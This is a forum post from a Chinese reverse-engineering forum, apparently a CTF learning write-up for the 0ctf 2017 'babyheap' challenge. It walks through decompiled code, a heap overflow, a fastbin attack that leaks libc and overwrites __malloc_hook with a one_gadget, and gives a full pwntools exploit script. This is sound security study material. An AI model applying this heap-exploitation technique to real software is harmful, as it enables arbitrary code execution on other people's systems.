吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6665|回复: 25
收起左侧

[调试逆向] 堆学习:babyheap_0ctf_2017——经典fastbin attack

  [复制链接]
RiiiickSandes 发表于 2022-11-9 16:02

babyheap_0ctf_2017——经典fastbin attack

概述

做做基础堆找找手感,大佬直接这里请exp及思路启发,本学习笔记只是拾人牙慧的复述与补充

1、checksec

不出意料地保护全开,说明必须泄露地址以解决ASLR

2、伪代码
  • menu,看起来是常规的增删改查
int sub_CF4()
{
  puts("1. Allocate");
  puts("2. Fill");
  puts("3. Free");
  puts("4. Dump");
  puts("5. Exit");
  return printf("Command: ");
}
  • Allocate,没有明显漏洞点,注意使用的是calloc,申请到的chunk会被 \x00 填充
void __fastcall add_D48(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = read_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);                  // fill x00
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;         // struct inuse
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;    // size
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;   // pointer
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}
  • Fill,出现了任意长度写,堆溢出漏洞
__int64 __fastcall edit_E7F(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = read_138C();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )                  // detect in use
    {
      printf("Size: ");                         // unlimited size
      result = read_138C();
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}
  • Free,free后指针置空
__int64 __fastcall del_F50(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = read_138C();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;           // set pointer null
    }
  }
  return result;
}
  • Dump,输出
int __fastcall show_1051(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = read_138C();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;

思路分析

总体思路:通过dump泄露堆基址进而计算libc基址,把堆空间申请到libc装载地址去,覆盖malloc_hook达成getshell目的

详细分析

1、泄露堆基址

为了dump泄露堆基址,我们需要获取一个unsorted bin中的chunk指针,但是chunk只有在被free掉之后才会进入unsorted bin,而菜单中的free选项会把free后的chunk指针置空,这是第一个需要解决的问题

针对这个问题,我们可以让idx数组中的多个元素指向同一chunk空间,使得即使释放chunk令某一idx指针被置空后,仍然有idx元素指向目标空间,从而顺利调用dump方法进行内容的泄露

解决了指针的问题后,还有一个亟待解决的问题,如何让目标chunk被释放后顺利地进入unsorted bin

首先,这个chunk的大小不能在fastbin的范围内,否则在释放后会直接进入fastbin,其次,这个chunk不能与top chunk相邻,否则被释放后会直接与top chunk合并。

针对以上两个条件,我们可以构造一个small bin chunk,并且在释放之前,再申请一个chunk将目标chunk与top chunk隔开

构造堆结构如下

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(2)
free(1)

image-20220823111122873.png

下一步,通过堆溢出漏洞,把chunk1的fd指针修改为指向chunk4的指针,这里之所以能成功,是因为堆始终是4kb对齐的(就是首地址后12位始终为0),所以chunk4的用户空间的地址与chunk2的地址区别就是低8位变成0x80

payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)

image-20220823111852174.png

再次通过堆溢出漏洞,修改chunk4的size以绕过fastbin的size检测,然后把chunk4再malloc回来

payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10)
allocate(0x10)

image-20220823112316147.png

到这里,我们已经让idx中的两个元素指向同一chunk了,现在只需要把chunk4放到unsorted bin去。在释放之前,需要先把chunk4的大小改回去,然后申请一个chunk把chunk4与top chunk分隔开避免合并

payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)

allocate(0x80)
free(4)

dump(2)
p.recvuntil('Content: \n')
unsortedbin_addr = u64(p.recv(8))
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
log.success('main arena addr: ' + hex(main_arena))
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
log.success('libc base addr: ' + hex(libc_base))

image-20220823113005708.png
image-20220824103943935.png

2、挟持__malloc_hook

总体思路就是使用fastbin单链表的特性,通过堆溢出修改fastbin中的chunk的fd指针,伪造目标地址chunk并改写__malloc_hook

因为我们这里存在堆溢出漏洞,所以不需要double free也可以改写fastbin chunk中的内容

先找到目标地址附近,看看有没有合适的fake chunk,想要分配 chunk 到目标地址,需要解决一个问题:分配bin中的chunk时,会对chunk的size部分进行检测,如果和申请的大小不符,将无法分配成功。

所以,我们需要借助 __malloc_hook附近原有的数据构造fake chunk,如下图所示,高亮部分就是在 __malloc_hook附近构造的fake chunk,这个chunk的size为0x7f,对应的用户空间即为0x60,恰好在fastbin的大小范围内。也就是说,如果我们把fastbin chunk的fd指针改为这个fake chunk的地址,那么我们下一次申请0x60大小的用户空间时,就可以在fake chunk位置写入数据

image-20220824111438241.png

chunk结构
image-20220822231950265.png

可以写入数据后,我们把__malloc_hook覆盖为one_gadget地址,在下一次调用malloc的时候,就会直接执行one_gadget

allocate(0x60)
free(4)

fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
# 由于这个chunk6是从我们之前使用的chunk4中分割出来的,所以idx2仍然可以用溢出改写chunk6的数据
fill(2, len(fake_chunk), fake_chunk) 

allocate(0x60)
allocate(0x60)

one_gadget_addr = libc_base + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)

allocate(0x100)
p.interactive()

image-20220824113647663.png

完整exp

from PwnContext.core import *
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

# func
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#ctx.remote = ("123.56.87.204", 17873)
ctx.binary = './babyheap_0ctf'
ctx.remote_libc = '/root/pwn/heap/libs/libc-2.23/64bit/libc.so.6'
ctx.debug_remote_libc = True
ctx.start()
print("****************************************************************************************************")
print(ctx.libc.path)
print("****************************************************************************************************")

elf = ELF('./babyheap_0ctf')
libc = ELF('/root/pwn/heap/libs/libc-2.23/64bit/libc.so.6')

def add(size):
    ctx.recvuntil('Command: ')
    ctx.sendline("1")
    ctx.recvuntil("Size: ")
    ctx.sendline(str(size))

def edit(index,size,content):
    ctx.recvuntil('Command: ')
    ctx.sendline("2")
    ctx.recvuntil("Index: ")
    ctx.sendline(str(index))
    ctx.recvuntil("Size: ")
    ctx.sendline(str(size))
    ctx.recvuntil("Content: ")
    ctx.sendline(content)

def dele(index):
    ctx.recvuntil('Command: ')
    ctx.sendline("3")
    ctx.recvuntil("Index: ")
    ctx.sendline(str(index))

def show(index):
    ctx.recvuntil('Command: ')
    ctx.sendline("4")
    ctx.recvuntil("Index: ")
    ctx.sendline(str(index))

add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
dele(2)
dele(1)
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
edit(0,len(payload),payload)
payload = 0x10 * 'a'+ p64(0) + p64(0x21)
edit(3,len(payload),payload)
add(0x10)
add(0x10)
payload= 0x10 * 'a'+p64(0)+p64(0x91)
edit(3,len(payload),payload)
add(0x80)
dele(4)
show(2)
ctx.debug(gdbscript="b *$rebase(0x1133")
ctx.recvuntil('Content: \n')
unsort_addr=u64(ctx.recv(8))
main_arena =unsort_addr-88
libcbase_addr =main_arena -0x3C4B20
add(0x60)
dele(4)
fake_chunk_addr=main_arena-0x33
payload=p64(fake_chunk_addr)
edit(2,len(payload),payload)
add(0x60)
add(0x60)
one_gadget_addr = libcbase_addr + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
edit(6,len(payload),payload)
add(0x90)
#gdb.attach(io)
ctx.interactive()
ctx.close()

免费评分

参与人数 7威望 +2 吾爱币 +106 热心值 +7 收起 理由
C9Y + 1 + 1 我很赞同!
qpm + 1 + 1 我很赞同!
s757129 + 1 + 1 ggnb!
vayliu + 1 我很赞同!
HighLightFanYa + 1 + 1 我很赞同!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
peiwithhao + 2 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| RiiiickSandes 发表于 2022-11-9 16:06
本来想发CSDN的,但被内容农场恶心到了,想想还是吾爱香
 楼主| RiiiickSandes 发表于 2023-3-23 10:00
C9Y 发表于 2023-3-22 15:02
请问师傅,main_arena_offset怎么求呢

main_arena_offset与libc.so相关,同一个版本的libc对应的offset是确定的,具体查询可以用这个工具https://github.com/coldwave96/libcoffset,也可以使用在线的网站

免费评分

参与人数 1热心值 +1 收起 理由
bnuzgn + 1 谢谢@Thanks!

查看全部评分

 楼主| RiiiickSandes 发表于 2022-11-9 16:05
在线小学生 发表于 2022-11-11 11:16
学习了~谢谢楼主分享!
Avenshy 发表于 2022-11-11 18:42
RiiiickSandes 发表于 2022-11-9 16:06
本来想发CSDN的,但被内容农场恶心到了,想想还是吾爱香

看到你说这个我立马给你点赞,CSDN现在是真的恶心
YABIN 发表于 2022-11-11 21:59
感谢分享
dadaliya 发表于 2022-11-11 23:12
好详细,谢谢大佬
steveann 发表于 2022-11-12 05:38
感谢分享
lovemsq 发表于 2022-11-12 11:17
感谢分享
redtecher 发表于 2022-11-12 11:36
很仔细 感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 01:25

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表